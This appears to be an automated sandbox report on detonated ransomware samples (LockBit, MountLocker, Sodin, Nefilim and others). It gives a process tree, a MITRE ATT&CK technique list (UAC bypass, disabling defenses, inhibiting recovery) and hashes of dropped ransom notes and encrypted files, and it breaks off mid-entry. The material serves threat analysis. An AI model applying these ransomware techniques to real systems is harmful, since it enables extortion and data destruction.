                                                                  • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.GenericCryptor.czx-4b1e7a0c585492340c9e57afc4c7dd6570acb704f0b6763c5e63dd99eee2fa8b.exe
                                                                    Trojan-Ransom.Win32.GenericCryptor.czx-4b1e7a0c585492340c9e57afc4c7dd6570acb704f0b6763c5e63dd99eee2fa8b.exe
                                                                    3⤵
                                                                      PID:5248
                                                                      • C:\Users\Admin\AppData\Local\Temp\huter.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\huter.exe"
                                                                        4⤵
                                                                          PID:6600
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\_uinsey.bat" "
                                                                          4⤵
                                                                            PID:4512
                                                                        • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.MountLocker.c-4a5ac3c6f8383cc33c795804ba5f7f5553c029bbb4a6d28f1e4d8fb5107902c1.exe
                                                                          Trojan-Ransom.Win32.MountLocker.c-4a5ac3c6f8383cc33c795804ba5f7f5553c029bbb4a6d28f1e4d8fb5107902c1.exe
                                                                          3⤵
                                                                            PID:6744
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\\0E5966EE.bat" "C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.MountLocker.c-4a5ac3c6f8383cc33c795804ba5f7f5553c029bbb4a6d28f1e4d8fb5107902c1.exe""
                                                                              4⤵
                                                                                PID:9928
                                                                            • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Sodin.afj-5467fe3f38ccf0c56c1aba7cbbc56109b747f7a53c333a3f5a1cfe6094e1fa2b.exe
                                                                              Trojan-Ransom.Win32.Sodin.afj-5467fe3f38ccf0c56c1aba7cbbc56109b747f7a53c333a3f5a1cfe6094e1fa2b.exe
                                                                              3⤵
                                                                                PID:4236
                                                                              • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.SuspFile.k-511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390.exe
                                                                                Trojan-Ransom.Win32.SuspFile.k-511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390.exe
                                                                                3⤵
                                                                                  PID:7160
                                                                                • C:\Users\Admin\Desktop\00434\VHO-Trojan-Ransom.Win32.Convagent.gen-9b3002401aecad5079077d71abc93628cf60c2c4a634677ee1df10b90bbc592a.exe
                                                                                  VHO-Trojan-Ransom.Win32.Convagent.gen-9b3002401aecad5079077d71abc93628cf60c2c4a634677ee1df10b90bbc592a.exe
                                                                                  3⤵
                                                                                    PID:11776
                                                                              • C:\Windows\system32\vssvc.exe
                                                                                C:\Windows\system32\vssvc.exe
                                                                                1⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:2744
                                                                              • C:\Windows\system32\vssvc.exe
                                                                                C:\Windows\system32\vssvc.exe
                                                                                1⤵
                                                                                  PID:2332
                                                                                • C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                                                  "C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe" C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                                                  1⤵
                                                                                    PID:3240
                                                                                    • C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                                                      "C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe" C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                                                      2⤵
                                                                                        PID:2212
                                                                                        • C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                                                          C:\Users\Admin\Desktop\00434\trojan-ransom.win32.encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe -work worker0 job0-2212
                                                                                          3⤵
                                                                                            PID:5752
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1044 -ip 1044
                                                                                        1⤵
                                                                                          PID:5284
                                                                                        • C:\Windows\system32\wbengine.exe
                                                                                          "C:\Windows\system32\wbengine.exe"
                                                                                          1⤵
                                                                                            PID:11044
                                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                            1⤵
                                                                                              PID:2840

                                                                                            Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Reconnaissance

                                                                                            Resource Development

                                                                                            Initial Access

                                                                                            Execution

                                                                                            Command and Scripting Interpreter

                                                                                            2
                                                                                            T1059

                                                                                            PowerShell

                                                                                            1
                                                                                            T1059.001

                                                                                            System Services

                                                                                            1
                                                                                            T1569

                                                                                            Service Execution

                                                                                            1
                                                                                            T1569.002

                                                                                            Windows Management Instrumentation

                                                                                            1
                                                                                            T1047

                                                                                            Persistence

                                                                                            Boot or Logon Autostart Execution

                                                                                            2
                                                                                            T1547

                                                                                            Registry Run Keys / Startup Folder

                                                                                            1
                                                                                            T1547.001

                                                                                            Winlogon Helper DLL

                                                                                            1
                                                                                            T1547.004

                                                                                            Create or Modify System Process

                                                                                            3
                                                                                            T1543

                                                                                            Windows Service

                                                                                            3
                                                                                            T1543.003

                                                                                            Privilege Escalation

                                                                                            Abuse Elevation Control Mechanism

                                                                                            1
                                                                                            T1548

                                                                                            Bypass User Account Control

                                                                                            1
                                                                                            T1548.002

                                                                                            Boot or Logon Autostart Execution

                                                                                            2
                                                                                            T1547

                                                                                            Registry Run Keys / Startup Folder

                                                                                            1
                                                                                            T1547.001

                                                                                            Winlogon Helper DLL

                                                                                            1
                                                                                            T1547.004

                                                                                            Create or Modify System Process

                                                                                            3
                                                                                            T1543

                                                                                            Windows Service

                                                                                            3
                                                                                            T1543.003

                                                                                            Defense Evasion

                                                                                            Abuse Elevation Control Mechanism

                                                                                            1
                                                                                            T1548

                                                                                            Bypass User Account Control

                                                                                            1
                                                                                            T1548.002

                                                                                            Direct Volume Access

                                                                                            1
                                                                                            T1006

                                                                                            Impair Defenses

                                                                                            4
                                                                                            T1562

                                                                                            Disable or Modify System Firewall

                                                                                            1
                                                                                            T1562.004

                                                                                            Disable or Modify Tools

                                                                                            2
                                                                                            T1562.001

                                                                                            Safe Mode Boot

                                                                                            1
                                                                                            T1562.009

                                                                                            Indicator Removal

                                                                                            3
                                                                                            T1070

                                                                                            File Deletion

                                                                                            3
                                                                                            T1070.004

                                                                                            Modify Registry

                                                                                            7
                                                                                            T1112

                                                                                            Credential Access

                                                                                            Discovery

                                                                                            Peripheral Device Discovery

                                                                                            1
                                                                                            T1120

                                                                                            Query Registry

                                                                                            2
                                                                                            T1012

                                                                                            System Information Discovery

                                                                                            3
                                                                                            T1082

                                                                                            System Location Discovery

                                                                                            1
                                                                                            T1614

                                                                                            System Language Discovery

                                                                                            1
                                                                                            T1614.001

                                                                                            Lateral Movement

                                                                                            Collection

                                                                                            Command and Control

                                                                                            Exfiltration

                                                                                            Impact

                                                                                            Defacement

                                                                                            1
                                                                                            T1491

                                                                                            Inhibit System Recovery

                                                                                            4
                                                                                            T1490

                                                                                            Service Stop

                                                                                            1
                                                                                            T1489

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            • C:\PerfLogs\NEFILIM-HELP.txt
                                                                                              Filesize

                                                                                              1KB

                                                                                              MD5

                                                                                              dd4077e2ff33e7940f6c467208518129

                                                                                              SHA1

                                                                                              78ee033ee6aec9f4cee78774c33a685e668cdea2

                                                                                              SHA256

                                                                                              38535201ffad6f76255d3c9394bd39dec0a26dddd65299a1b30dd54520eb3acc

                                                                                              SHA512

                                                                                              9318a310bb543ede2b034fd3ae0277a25359595b6bdaaaec63e97939b2e7bc0292c0099adb2617c620a3bf15b5f57de1922746e66e6fba4e7eea2d7ff174bbfc

                                                                                              Download Submit

                                                                                            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat.62D7BA854C61DA17F04364138306B5BAA2766D5690753EE4D8F5B86020388CC2
                                                                                              Filesize

                                                                                              16B

                                                                                              MD5

                                                                                              a8cc0e32aa04880c4fd82407b90c642a

                                                                                              SHA1

                                                                                              a33a73f0ac9d94641bafd430e6c8105cbac7a23a

                                                                                              SHA256

                                                                                              d55c2b0467993ff8fede49600c530e975c5f0a5df097220e4b6181e7e8ba4815

                                                                                              SHA512

                                                                                              b30d9d44cecf31741c88726aea4671d377527b47a5cf2d9a95f5e0c7ee7469532a977e5da745023128ce086c2e0a3e48d8703368102cfe77125017cc9ef61f9a

                                                                                              Download Submit

                                                                                            • C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt.62D7BA854C61DA17F04364138306B5BAA2766D5690753EE4D8F5B86020388CC2
                                                                                              Filesize

                                                                                              32KB

                                                                                              MD5

                                                                                              a5b204b2f6defd4d72011674210f467c

                                                                                              SHA1

                                                                                              1b85573de38aab8687673366854c9b4b4c4fa01e

                                                                                              SHA256

                                                                                              e781bebb15589010ddd87b976623c2f780d80004f12a92235c11cb3ed750323c

                                                                                              SHA512

                                                                                              bb0fd38c6705d90410b056d3f560f725300c0db6557d21f62d9dd1bfa74e94834187e0c2f396b145de7d18ebf46eb1d2f58650a12f01a151577b52ab4d3eabfd

                                                                                              Download Submit

                                                                                            • C:\Program Files\AddDebug.wav.lockbit
                                                                                              Filesize

                                                                                              479KB

                                                                                              MD5

                                                                                              2808fbe13f10b517a0cf5e9e5c1c9747

                                                                                              SHA1

                                                                                              077d4cdeb2a778e50b93f915abcdb1b13da5d65b

                                                                                              SHA256

                                                                                              b69ab7adf2422f72030bd02736dbc15ba2d1fa8a48ba37daf02ff4d541c27fff

                                                                                              SHA512

                                                                                              d8d75bed9bd5c7c50a69fce97f3dc9b076db22a844329a026e31b39eaee87617fb2826503d3b2b8f73e6f67e6ad33879f534a92008272342cfcad6757411c72d

                                                                                              Download Submit

                                                                                            • C:\Program Files\CheckpointRevoke.3gpp.lockbit
                                                                                              Filesize

                                                                                              707KB

                                                                                              MD5

                                                                                              2af38ff5a177f42aca14b63b8a39d2ba

                                                                                              SHA1

                                                                                              b3021a5f1f40ceee9970a941ab6b67c30713296c

                                                                                              SHA256

                                                                                              456ef3468e1485a95eff335a56722c97c1444f120e289fdde897a0e96f924bea

                                                                                              SHA512

                                                                                              b3346e9d795000f247b5b602d14f73a56acde8ce003b2b399f418b4c9cdb1238997415f0349a8da9c7e205421cf3073332ffd3adcf51bb9edf21298151a475f0

                                                                                              Download Submit

                                                                                            • C:\Program Files\CloseInitialize.temp.lockbit
                                                                                              Filesize

                                                                                              752KB

                                                                                              MD5

                                                                                              1d5c853265bd0ddfef25b6f4d6979bff

                                                                                              SHA1

                                                                                              5bce7afaa2010b57d96cbda91d7ac80d142b85a5

                                                                                              SHA256

                                                                                              066095bd9730bcbf05f14e1f53bcf3df866483be641988938ea4a2d3f87c8663

                                                                                              SHA512

                                                                                              81f73f60fbd7d07156ff9fecf5d83069adeafd8452b4b7f245f8a4569fcc0a95d1a9fe507e67afdd7783644fb3a304c4ccbac7f9d487e0cc2025a04e04ea443a

                                                                                              Download Submit

                                                                                            • C:\Program Files\ConfirmRestart.wmf.lockbit
                                                                                              Filesize

                                                                                              1.3MB

                                                                                              MD5

                                                                                              a9c2b44d9f922ef73b773d17b646082f

                                                                                              SHA1

                                                                                              da217b46d16a726a000072c3dfd784129537c428

                                                                                              SHA256

                                                                                              0728c24b90d109925bf9da970016c9e3907be40118457698c6a6c13438349115

                                                                                              SHA512

                                                                                              553edb0923b6026050ca0a8d95c93900ee6eba2264e8c6283961ad5e0b03699f708c2c05f1782317a11a0bee99f2c45cd3d530947261be875dcc46d9fbefdfe9

                                                                                              Download Submit

                                                                                            • C:\Program Files\dotnet\Restore-My-Files.txt
                                                                                              Filesize

                                                                                              1KB

                                                                                              MD5

                                                                                              3000224621b97420215b200ddb07680a

                                                                                              SHA1

                                                                                              1488f70500e34a379e3a99d5d4827c31e3fad748

                                                                                              SHA256

                                                                                              9c363e8db6fb32d4cb95e8630a6345e8cd56414ccc42179a31ae55a4b1b858c7

                                                                                              SHA512

                                                                                              4bb6ccfa5afc51eb91c10b0450142ba9c62b903a39654e1cc0c271dc5d05ebe183805a729529a9c573cd38c45095dcfd556ab168021c71812e448d3c9ae6617b

                                                                                              Download Submit

                                                                                            • C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml
                                                                                              Filesize

                                                                                              3.3MB

                                                                                              MD5

                                                                                              44f4ed8e5a89528cf4ae46f78b4d3776

                                                                                              SHA1

                                                                                              ac1f70768a0964c67db3247ed23b5c2bbff3243e

                                                                                              SHA256

                                                                                              b4f15c8df89c3ec9e2a01429a9284553ac134e54aac9bc45e4dbc7616193ddf8

                                                                                              SHA512

                                                                                              f0bff07fccd104e360c82331d41e360d7bb7a454d07bdbb0479841af38e3a619e55a8702b450b50a367b918323920443fd927f6ee73783682e100038ce653944

                                                                                              Download Submit

                                                                                            • C:\ProgramData\RecoveryManual.html
                                                                                              Filesize

                                                                                              2KB

                                                                                              MD5

                                                                                              b220a82a1580c5b16cdcd4aee14152ee

                                                                                              SHA1

                                                                                              7485bb3dca9f45f5c8c6a2d629684534d1a54b7a

                                                                                              SHA256

                                                                                              dc8346e3fbbe1d61071438383198124d28557e3152e27d8cacf230e27d194a20

                                                                                              SHA512

                                                                                              c7de29d4dc54186a4664b76181fdee5b40b223020b46c3d6f99367c296cbc5c3470c8f332614a3be1c435506c471bd7c6b75a46441f681e42d66b16536dee2e4

                                                                                              Download Submit

                                                                                            • C:\ProgramData\readme.txt
                                                                                              Filesize

                                                                                              866B

                                                                                              MD5

                                                                                              78a15c814df271551d3e0d882a7caae6

                                                                                              SHA1

                                                                                              65a43e6eac21105afaf62f534bc066c8f460122d

                                                                                              SHA256

                                                                                              c5543d9ed561efd53666d18ce7e6fcc8bc500c8e90ee873aae1ea8615ca0405b

                                                                                              SHA512

                                                                                              9cca3a336d30b324eeab100d87f812e5ff2459de1177f9b4fab7513b8f1de2d0d01521f01c539b497ee498a095a807c47ff816b775b3d8095f7d7fc673dba269

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                              Filesize

                                                                                              64KB

                                                                                              MD5

                                                                                              d2fb266b97caff2086bf0fa74eddb6b2

                                                                                              SHA1

                                                                                              2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                                              SHA256

                                                                                              b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                                              SHA512

                                                                                              c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                              Filesize

                                                                                              4B

                                                                                              MD5

                                                                                              f49655f856acb8884cc0ace29216f511

                                                                                              SHA1

                                                                                              cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                                              SHA256

                                                                                              7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                                              SHA512

                                                                                              599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                              Filesize

                                                                                              944B

                                                                                              MD5

                                                                                              6bd369f7c74a28194c991ed1404da30f

                                                                                              SHA1

                                                                                              0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                                              SHA256

                                                                                              878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                                              SHA512

                                                                                              8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                              Filesize

                                                                                              3KB

                                                                                              MD5

                                                                                              3f01549ee3e4c18244797530b588dad9

                                                                                              SHA1

                                                                                              3e87863fc06995fe4b741357c68931221d6cc0b9

                                                                                              SHA256

                                                                                              36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

                                                                                              SHA512

                                                                                              73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                              Filesize

                                                                                              2KB

                                                                                              MD5

                                                                                              732b140e51c3be39497fba7d3a82c97c

                                                                                              SHA1

                                                                                              72a20706e909b16859c0aa242ff2e608954c0cba

                                                                                              SHA256

                                                                                              21de207830bd7bfa9eebea0b9bf6d4ddfdeb9a10d28d82ab9374882e8a05ae9d

                                                                                              SHA512

                                                                                              fc932522af21bf8e25927d8ee764cb32317ac8c8598b6aed74cceacbc39fbe89c53c63ac30e426dd016c49a1d584b1c7a490c8a154d0e2ff76e4927316a097e7

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Temp\Mpsvc.dll
                                                                                              Filesize

                                                                                              813KB

                                                                                              MD5

                                                                                              7d1807850275485397ce2bb218eff159

                                                                                              SHA1

                                                                                              45c1b556f5a875b71f2286e1ed4c7bd32e705758

                                                                                              SHA256

                                                                                              cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6

                                                                                              SHA512

                                                                                              6def440504ce5bf64b07493149befe2632943145fc42b33202dab126fc3af78ed0097e7f38cd7a7f5e18e3d5d3d10a1924a3e6db4fc4fcb212216c14f7106cd1

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Temp\MsMpEng.exe
                                                                                              Filesize

                                                                                              21KB

                                                                                              MD5

                                                                                              8cc83221870dd07144e63df594c391d9

                                                                                              SHA1

                                                                                              3d409b39b8502fcd23335a878f2cbdaf6d721995

                                                                                              SHA256

                                                                                              33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a

                                                                                              SHA512

                                                                                              e7f964a10a8799310a519fa569d264f652e13cc7ea199792dc6a5c0507dec4a12844a87bf8bab714255dce717839908ed5d967ce8f65f5520fe4e7f9d25a622c

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jh3cpeua.hbf.ps1
                                                                                              Filesize

                                                                                              60B

                                                                                              MD5

                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                              SHA1

                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                              SHA256

                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                              SHA512

                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Local\Temp\huter.exe
                                                                                              Filesize

                                                                                              89KB

                                                                                              MD5

                                                                                              5d9b7a0e8cccb4dec85feb0fc58447fa

                                                                                              SHA1

                                                                                              b03a2e6bd1e373e758162b169427994a8581f466

                                                                                              SHA256

                                                                                              4af639e2fd2484c6954f7165c1c463eecbf4791afe834c3d4a79940ab59b611a

                                                                                              SHA512

                                                                                              175b127efd488bf65bc2140671eef6b72c6ef308d9587222acbbdf689c0dee5c0e4b246452ed7a1834657aa3f0a955f1949bd17114ae251a1b3c8c9036a8f1fa

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                                              Filesize

                                                                                              5KB

                                                                                              MD5

                                                                                              fcdec0139edd1a775be2d4ad8f34432e

                                                                                              SHA1

                                                                                              ba857315a47087ae75458f2c27c5689a4dd65af7

                                                                                              SHA256

                                                                                              5a18170cd2dee4c129186a57316a4335d36839fab85215bd552e885c1071eedc

                                                                                              SHA512

                                                                                              8ea32280114d767f08b2d317882b49fe38bf9cdac30a4defc74b402d496edcd25bd067fd3ad04d94166b70099040f7c0022a75484e0a88c9fc906cf2539ff42b

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                                              Filesize

                                                                                              5KB

                                                                                              MD5

                                                                                              e45c809f50d3a74436f34c9020e599b3

                                                                                              SHA1

                                                                                              02f36c2921af479a1b78069fa50973336ea7a5cf

                                                                                              SHA256

                                                                                              2bb3e7be2da97b3089782ea7a08c0fae2d7577e6d32a9564fab90ed260f55963

                                                                                              SHA512

                                                                                              3c488ae3dfd4c5e564515b02b29b32b776ae680ac7636c5323e3089db47e93982e0e1d44ede52ffd7ff57d1c4654c2f65ad4012a37ee53c6da0372a71dada7d1

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Encoder.gen-e43e08f74b30e6493f2753bb1eb2463fd41b0a0853d5a208652763db02e6160d.exe
                                                                                              Filesize

                                                                                              218KB

                                                                                              MD5

                                                                                              7e053ae4283b44706d785a433e3edc19

                                                                                              SHA1

                                                                                              f12fefd7ba1dac2866da34e34b01d2aecbd3a1d5

                                                                                              SHA256

                                                                                              e43e08f74b30e6493f2753bb1eb2463fd41b0a0853d5a208652763db02e6160d

                                                                                              SHA512

                                                                                              5fe49839b9fb4e1ece67ed4f6f67b80462550c969a4e6f0993f251018fcc3f2f29d4490d7c519b08040511b320703fdf3876f29e3e4f61d57e244a5da8b661e2

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Foreign.gen-98894973a86aa01c4f7496ae339dc73b5e6da2f1dbcd5fe1215f70ea7b889b85.exe
                                                                                              Filesize

                                                                                              9.6MB

                                                                                              MD5

                                                                                              8fc5adbb6c01030f750c1ed8e913c876

                                                                                              SHA1

                                                                                              9d08291418d88cde8774c67490aac09fd2df4d37

                                                                                              SHA256

                                                                                              98894973a86aa01c4f7496ae339dc73b5e6da2f1dbcd5fe1215f70ea7b889b85

                                                                                              SHA512

                                                                                              41362155e5c281aad410800bb48f99ab267c2f68765c23e0888b97b67255fba47aeadd2ddfc249fe8476b8128a84e847f183615a7a21d1462309ee2f46e0a0a5

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Gen.gen-d60bf63416c2b63cb1940b365baeab8281c60bf327df398eca9acf84bd9a83b5.exe
                                                                                              Filesize

                                                                                              122KB

                                                                                              MD5

                                                                                              efafea0893dbfd73b1ce29a90e1e4d62

                                                                                              SHA1

                                                                                              1c1c95e952750cdd345666868788e4246ed987c1

                                                                                              SHA256

                                                                                              d60bf63416c2b63cb1940b365baeab8281c60bf327df398eca9acf84bd9a83b5

                                                                                              SHA512

                                                                                              739c8d31b64d7a2d30b7ace7ceb00f2f7dc9642b2a190161cb3069f889a19541db67588170896e87412ab7300cd3c8effdd8c6ddab1c6b912493c79d482c32e6

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Cryptor.gen-1ce8a939b3e7d84c59c12dc9e1091532f4336dac533847b6533b01d9dcf494e9.exe
                                                                                              Filesize

                                                                                              190KB

                                                                                              MD5

                                                                                              2dc5a4338d438ea4e78878cff4cfe2cf

                                                                                              SHA1

                                                                                              cfdd6e3a69b12d43af94cb0441db3e1ef93f74f8

                                                                                              SHA256

                                                                                              1ce8a939b3e7d84c59c12dc9e1091532f4336dac533847b6533b01d9dcf494e9

                                                                                              SHA512

                                                                                              32a8d6f2fa1e472aefa8cc41cb59b5b67e84d336ca35c5b1f5d2a2ad2eae5a7ba1cbfba17f75261b0220a5d896b72bb4b95c5c86a6c8bda4b9bf50463f2222fc

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Gen.gen-dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f.exe
                                                                                              Filesize

                                                                                              911KB

                                                                                              MD5

                                                                                              835f242dde220cc76ee5544119562268

                                                                                              SHA1

                                                                                              8118474606a68c03581eef85a05a90275aa1ec24

                                                                                              SHA256

                                                                                              dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f

                                                                                              SHA512

                                                                                              4fadf14fd5d1ef5948477185e4d2a8a00414f63c7db8fc440c7b28c8f288e29df4447f2a9cf61b2778c8af1d68261c9ff5bebd4c36d69b33715e66f06acb2539

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-11e5d7ef5bdcb1a257da2b40318ec6dd16864bc0e69274dd016899cb92c389fd.exe
                                                                                              Filesize

                                                                                              4.0MB

                                                                                              MD5

                                                                                              3fc6dbd32666e3234babc1d5a08d8fb6

                                                                                              SHA1

                                                                                              53199e7b0f84bdf6612b853302e996f3f2309456

                                                                                              SHA256

                                                                                              11e5d7ef5bdcb1a257da2b40318ec6dd16864bc0e69274dd016899cb92c389fd

                                                                                              SHA512

                                                                                              7e9efe85f4a6fe9000eb15d1f93e40ad45e7b515448977568e56222b1d76584179376a7b8d040677eb819b9752fe11510e577f601dfe533e4f613a3c761044c2

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-27a1f89ce5a37815010c8411dddec85d5d66e81a957ad722fbd2dc64f99651c8.exe
                                                                                              Filesize

                                                                                              89KB

                                                                                              MD5

                                                                                              3822d0484ec81d615a0913c398ad1f83

                                                                                              SHA1

                                                                                              b7bd3e90724189c7316b82a70ce85e0a91855089

                                                                                              SHA256

                                                                                              27a1f89ce5a37815010c8411dddec85d5d66e81a957ad722fbd2dc64f99651c8

                                                                                              SHA512

                                                                                              d103abe81ef9bba19a3f21c8a2742b6a6dad2d147bb440e81b1f17b1d0f67fc3dfa4c33c84ec8b7ca1b107fbd91535ee588d29bded615cff58685eb611665fe8

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe
                                                                                              Filesize

                                                                                              142KB

                                                                                              MD5

                                                                                              e1f063d63a75e0e0e864052b1a50ab06

                                                                                              SHA1

                                                                                              75d941a28cf0ade2ef2c16dfacbdeb36a51ccaf7

                                                                                              SHA256

                                                                                              8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7

                                                                                              SHA512

                                                                                              25681b210ee18bd60ba3fef496769283d51dc516569e1f1834d6d23a5927c1684b25ff67baf5fba66c908b364a13784f49facdde7a98b2fb8a8a41a2ec792ae3

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Lockbit.vho-b7a17d6f314fa58a8f36b9b15b730ed4f9dde19bc00101f9b0433c733d4d54bb.exe
                                                                                              Filesize

                                                                                              146KB

                                                                                              MD5

                                                                                              cce95a5ac15dbaa10a2565af05820c15

                                                                                              SHA1

                                                                                              812fc39248bd33584fc836fdbc8712bca63b6b59

                                                                                              SHA256

                                                                                              b7a17d6f314fa58a8f36b9b15b730ed4f9dde19bc00101f9b0433c733d4d54bb

                                                                                              SHA512

                                                                                              636c7cf8532f0b531e901558672a9f281a65521c52f5f7709686abe2742611e2348bdc0e14d70f7c108aa63c2c84f7a039754335ef690298f2c4a94645e6dc54

                                                                                              Download Submit

                                                                                            • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Stop.gen-25b21e9e98f55e0e430637560ada56b5eb7d68b69c486c188f233cc83b1bae53.exe
                                                                                              Filesize

                                                                                              648KB

                                                                                              MD5

                                                                                              6faf5a8adf946366ee73024974f6dee1

                                                                                              SHA1

                                                                                              e8ca76c23c228e788e9db7792727e3fb9805c0e3

                                                                                              SHA256

                                                                                              25b21e9e98f55e0e430637560ada56b5eb7d68b69c486c188f233cc83b1bae53

                                                                                              SHA512

